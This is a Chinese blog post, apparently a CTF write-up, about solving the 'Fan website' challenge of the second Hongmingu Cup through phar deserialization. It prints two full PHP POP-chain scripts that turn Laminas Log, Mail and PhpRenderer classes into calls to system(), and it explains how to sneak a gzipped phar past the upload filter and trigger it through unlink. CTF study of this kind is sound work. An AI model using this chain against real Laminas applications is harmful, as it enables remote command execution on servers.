WP篇之第二届红明谷杯 --- Fan website

第二届红明谷杯 — Fan website

今天打红明谷杯,打出了一道web,考点是phar反序列化

image.png

首先进去之后www.zip把源码下下来,然后去网上找了找链子

找到了一篇:https://xz.aliyun.com/t/8975#toc-12,直接用它的最后一条链子就行了,具体后面再来审:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php

namespace Laminas\View\Resolver{
class TemplateMapResolver{
protected $map = ["setBody"=>"system"];
}
}
namespace Laminas\View\Renderer{
class PhpRenderer{
private $__helpers;
function __construct(){
$this->__helpers = new \Laminas\View\Resolver\TemplateMapResolver();
}
}
}


namespace Laminas\Log\Writer{
abstract class AbstractWriter{}

class Mail extends AbstractWriter{
protected $eventsToMail = ["ls"];
protected $subjectPrependText = null;
protected $mail;
function __construct(){
$this->mail = new \Laminas\View\Renderer\PhpRenderer();
}
}
}

namespace Laminas\Log{
class Logger{
protected $writers;
function __construct(){
$this->writers = [new \Laminas\Log\Writer\Mail()];
}
}
}


namespace{
$a = new \Laminas\Log\Logger();
echo base64_encode(serialize($a));
}

然后我们就会发现一个问题,虽然说有了链子,但是没有触发点,就很难搞,去源码里找找有没有可以上传文件的地方:

就在这个路径下:/module/Album/src/Controller/AlbumController.php

image.png

可以看到,它对文件内容和文件大小都做了限制,不能出现<?php __HALT_COMPILER(),这个好办,咱把它gzip一下就可以了,它还限制文件大小必须大于3kb,所以说我们需要往里面疯狂填入垃圾数据,通过imguploadAction就可以上传上去了

然后我们往上看,看到了imgdeleteAction,在这里面调用了unlink删除文件,unlink()函数作为文件操作函数,也是可以触发phar反序列化的,有链子,有了触发的地方,这个题差不多就稳了,来看看它的路由:

image.png

可以看到它的访问方式,也就是说访问imguploadAction()方法也就是访问album/imgupload,同理删除就是album/imgdelete

所以说最终生成phar文件的是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php

namespace Laminas\View\Resolver{
class TemplateMapResolver{
protected $map = ["setBody"=>"system"];
}
}
namespace Laminas\View\Renderer{
class PhpRenderer{
private $__helpers;
function __construct(){
$this->__helpers = new \Laminas\View\Resolver\TemplateMapResolver();
}
}
}


namespace Laminas\Log\Writer{
abstract class AbstractWriter{}

class Mail extends AbstractWriter{
protected $eventsToMail = ["cat /flag"];
protected $subjectPrependText = null;
protected $mail;
function __construct(){
$this->mail = new \Laminas\View\Renderer\PhpRenderer();
}
}
}

namespace Laminas\Log{
class Logger{
protected $writers;
function __construct(){
$this->writers = [new \Laminas\Log\Writer\Mail()];
}
}
}


namespace{
$a = new \Laminas\Log\Logger();
$phar = new Phar("hmgb.phar");
$phar -> setStub("垃圾数据,越多越好,得把它的大小撑起来<?php __HALT_COMPILER(); ?>");
$phar -> setMetadata($a);
$phar -> addFromString("test.txt","");
$phar -> stopBuffering();
//echo base64_encode(serialize($a));
}
?>

利用这个生成hmgb.phar,放到kali下去去压缩一下:gzip hmgb.phar,然后改个后缀,改成hmgb.jpg

image.png

在这里传上去,它会返回路径,再去删除的页面触发就好:

image.png

挺水的我感觉,后面准备去认真审审代码,自己构造一下pop链

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2023 Arsene.Tang
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信